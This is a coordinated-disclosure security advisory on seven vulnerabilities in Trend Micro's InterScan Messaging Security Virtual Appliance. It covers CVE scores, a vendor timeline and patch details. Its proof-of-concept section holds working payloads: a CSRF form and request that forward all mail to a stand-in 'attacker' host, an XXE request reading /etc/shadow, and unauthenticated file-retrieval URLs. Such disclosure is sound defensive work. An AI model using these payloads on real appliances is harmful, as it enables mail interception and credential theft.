SEC Consult Vulnerability Lab Security Advisory < 20201104-0 >
=======================================================================
title: Multiple Vulnerabilities
product: Trend Micro InterScan Messaging Security Virtual Appliance
(IMSVA)
vulnerable version: < 9.1.0 Critical Patch Build 2025
fixed version: 9.1.0 Critical Patch - Build 2025
CVE number: CVE-2020-27016, CVE-2020-27017, CVE-2020-27018,
CVE-2020-27019
CVE-2020-27693, CVE-2020-27694
impact: High
homepage:
https://www.trendmicro.com/en_us/business/products/user-protection/sps/email-and-collaboration/interscan-messaging.html
found: 2020-04
by: W. Ettlinger (Office Vienna)
T. Serafin (Office Munich)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
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Vendor description:
-------------------
"Trend Micro™ InterScan™ Messaging Security provides the most comprehensive
protection against both traditional and targeted attacks. Using the correlated
intelligence from Trend Micro™ Smart Protection Network™ and optional sandbox
execution analysis, it blocks spam, phishing, and advanced persistent threats
(APTs)."
URL:
https://www.trendmicro.com/en_us/business/products/user-protection/sps/email-and-collaboration/interscan-messaging.html
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of this
and similar Trend Micro products conducted by security professionals to
identify and resolve potential further security issues.
Vulnerability overview/description:
-----------------------------------
1) Cross-Site Request Forgery (CSRF
CVE-2020-27016 (7.5 CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)
A web service accessible to authenticated administrators allows modifying the
appliance's policy configuration. This web service can also be accessed by
leveraging a CSRF scenario. An attacker could therefore modify policy rules
(e.g. bypass malware checks or forward all mails to another host) by tricking
an authenticated administrator into accessing an attacker-controlled web page.
2) XML External Entity Processing (XXE)
CVE-2020-27017 (7.6 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L)
The web service from vulnerability #1 accepts requests in the form of XML
documents.
The XML parser used is not configured correctly, thus allowing an authenticated
administrator to read arbitrary local files through XXE.
Through an OOB XXE attack an attacker can exfiltrate local files through CSRF
(see #1).
3) Over-privileged Users/Services
Sudo is configured to allow several system users access to the root account.
An attacker gaining control over one of these accounts can access the system as
root. Moreover, several services are executed with the privileges of the user
root. Therefore, finding #2 allows an attacker to read files only accessible to
root (e.g. /etc/shadow).
4) Server Side Request Forgery (SSRF) & Local File Disclosure
CVE-2020-27018 (2.8 CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N/E:U/RL:X/RC:X)
A script accessible through the appliance's web server can be abused to request
any URL (e.g. http(s), file). An authenticated attacker can e.g. access any
http(s) resources or parts of some local files.
5) Information Disclosure
CVE-2020-27019 (4.8 CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L/E:U/RL:X/RC:X)
An SQLite database as well as a cryptographic key located in the webroot can be
accessed without authentication.
Note: It is unclear what the key is used for and whether the SQLite database
could contain sensitive information in specific configurations.
6) Insufficient Password Storage
CVE-2020-27693 (3.1 CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:L/E:U/RL:X/RC:X)
The appliance stores passwords of administrative users as unsalted MD5 hashes
which can be cracked easily.
7) Outdated Software
CVE-2020-27694 (4.6 CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L/E:U/RL:X/RC:X)
Several software components installed on the appliance are outdated. Moreover,
the software updates provided by Trend Micro do not update the packages of the
CentOS base system.
SEC Consult did not verify whether the vulnerabilities identified through the
version information are present or whether the vulnerabilities have an impact
on the security of the system.
Proof of concept:
-----------------
1) Cross-Site Request Forgery (CSRF) (CVE-2020-27016)
The following request will create a rule that forwards all mails to an attacker:
--- snip ---
POST /ws_policies.imss HTTP/1.1
Host: [...]
Cookie: JSESSIONID=[...];
Content-Length: 374
<policies>
<policy
name="forward all traffic to attacker"
note="forward all traffic to attacker"
enable="yes"
version="1"
order="1"
type="other">
<route direction="incoming">
<from anyone="yes"></from>
<to anyone="yes"></to>
</route>
<actions>
<hand_off>attacker:25</hand_off>
</actions>
</policy>
</policies>
--- snip ---
The following HTML fragment shows how this request can be sent in a CSRF
scenario:
--- snip ---
<form action="https://[...]:8445/ws_policies.imss"; method="POST"
enctype="text/plain">
<input type="hidden" name='<policies><policy name'
value='"forward all traffic to attacker"
note="forward all traffic to attacker"
enable="yes" version="1" order="1" type="other">
<route direction="incoming"><from anyone="yes"></from>
<to anyone="yes"></to></route>
<actions><hand_off>attacker:25</hand_off></actions>
</policy></policies>' />
<input type="submit" value="Submit request" />
</form>
--- snip ---
2) XML External Entity Processing (XXE) (CVE-2020-27017)
The following request demonstrates the retrieval of /etc/shadow
--- snip ---
POST /ws_policies.imss HTTP/1.1
Host: [...]:8445
Cookie: JSESSIONID=[...];
Content-Length: 290
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<policies>
<policy name="test" note="test" enable="yes" version="1" order="2"
type="virus">
<route direction="incoming">
<from anyone="no">
<group>&xxe;</group>
</from>
</route>
</policy>
</policies>
--- snip ---
3) Over-privileged Users/Services
The local users "admin", "enable" and all users in the group "cliusers" can
execute
commands as root (no password entry required). Note that at least for the users
"admin" and "enable" a restricted shell is configured, thus shell access is not
easily possible.
Several network services (e.g. Tomcat, OpenLDAP, imssmgr) are executed as root.
Trend Micro supplied the following additional information:
(a) If an IMSVA user created clish users, they can only run limited commands
(IMSVA pre-defined commands) and all of these are one time commands
(not a running service in the backend)
(b) Most of these clish commands only read logs, and does not accept any
arguments,
so it cannot terminate or inject commands.
(c) Few commands (such as ping) only accept few arguments (such as IP), but
these
are well-checked. Users cannot input any arguments with other meaning, so it
cannot terminate or inject commands.
Trend Micro decided not to include vulnerability #3 in the hardening/patch of
the
product as admin and enabled accounts are as important as root and changing the
architecture would cause some functions not to work as expected.
4) Server Side Request Forgery (SSRF) & Local File Disclosure (CVE-2020-27018)
The URL demonstrates the retrieval of an HTTP URL through the appliance:
https://<host>:8445/widget/proxy_controller.php?module=modSimple&userGenerated=1&serverid=1&url=http://test
When accessing file:// URLs, the application sends only the content that follows
a sequence \r\n\r\n. Therefore only parts of certain files can be retrieved.
5) Information Disclosure (CVE-2020-27019)
The following URL demonstrates the unauthenticated retrieval of a cryptographic
key:
https://<host>:8445/widget/repository/inc/class/common/crypt/crypt.key
Moreover, an SQLite database can be retrieved.
https://<host>:8445/widget/repository/db/sqlite/tmwf.db
The contents of these files have not been further investigated.
6) Insufficient Password Storage (CVE-2020-27693)
The passwords for local administrators are stored in a Postgres database
(table tb_administrator, column md5_digest). The hashes are stored as unsalted
MD5 digests which can be cracked easily.
7) Outdated Software (CVE-2020-27694)
The following software versions are present in an appliance with patch level
1993:
* PHP 5.6.38 (PHP 5.6 is EOL)
* Apache HTTPD 2.4.37 (see
http://httpd.apache.org/security/vulnerabilities_24.html)
* Apache Tomcat 9.0.13 (see http://tomcat.apache.org/security-9.html)
The appliance is built on top of a CentOS base system. The CentOS packages
appear not to be updated with appliance updates. In a test system, the command
"yum check-update" yielded 203 updates to installed packages.
Vulnerable / tested versions:
-----------------------------
Version 9.1.0.1960 Critical Patch 1993 has been tested and was found to be
vulnerable. Previous versions are affected as well.
Vendor contact timeline:
------------------------
2020-04-28: Contacting vendor through secur...@trendmicro.com
Submitting advisory information encrypted (PGP).
2020-04-28: Vendor reply, they will take a look at the issue.
2020-05-06: Vendor states that vulnerability resolution is in progress;
Vendor has questions regarding two vulnerabilities
2020-05-07: Clarifying vulnerabilities
2020-05-25: Asking for status update
2020-05-25: Vendor: Vulnerability resolution is still in progress,
details follow
2020-05-27: Vendor: A fix for 4 vulnerabilities is expected for the end of June
2020-06-29: Asking for status update
2020-07-01: Vendor provides prerelease update that addresses #1, #2, #4, #5, #6
2020-07-07: Sending results of short recheck
#1 CSRF - fixed
#2 XXE - fixed
#4 SSRF/LFD - fixed
#5 InfoDisc - fixed
#6 Password Storage - not properly fixed yet
2020-07-08: Vendor confirms receipt; has question regarding #3
2020-07-10: Clarifying questions
2020-08-04: Asking for a status update
2020-08-04: Vendor: Issue #3 is under investigation, issue #7 in progress.
2020-08-22: Vendor provides information that all issues have been fixed except
issue #3 as hardening it further would potentially break some
features.
2020-08-24: Further advisory release coordination (date, CVE numbers, patch
version)
2020-09-18: Asking for a status update; Answer: "The hotfix is ready, however,
the
official critical patch to be used for public disclosure is still
being
finalized"; disclosure date will be communicated later
2020-10-23: Patch is already public since 2020-10-09, but no security bulletin
yet
which will be coordinated
2020-11-04: Coordinated release of security advisory
Solution:
---------
The vendor provides a patch (9.1 Patch 3 - Critical Patch - Build 2025)
which should be installed immediately. The release notes can be found here:
https://files.trendmicro.com/documentation/readme/imsva_91_en_criticalpatch_b2025_EN_Readme.txt
Patch download:
https://downloadcenter.trendmicro.com/index.php?regs=nabu&prodid=91
https://files.trendmicro.com/products/imsva/9.1/imsva_91_en_criticalpatch_b2025.tar.gz
Trend Micro Security Bulletin:
https://success.trendmicro.com/solution/000279833
Workaround:
-----------
No workaround available.
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
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EOF W. Ettlinger / @2020
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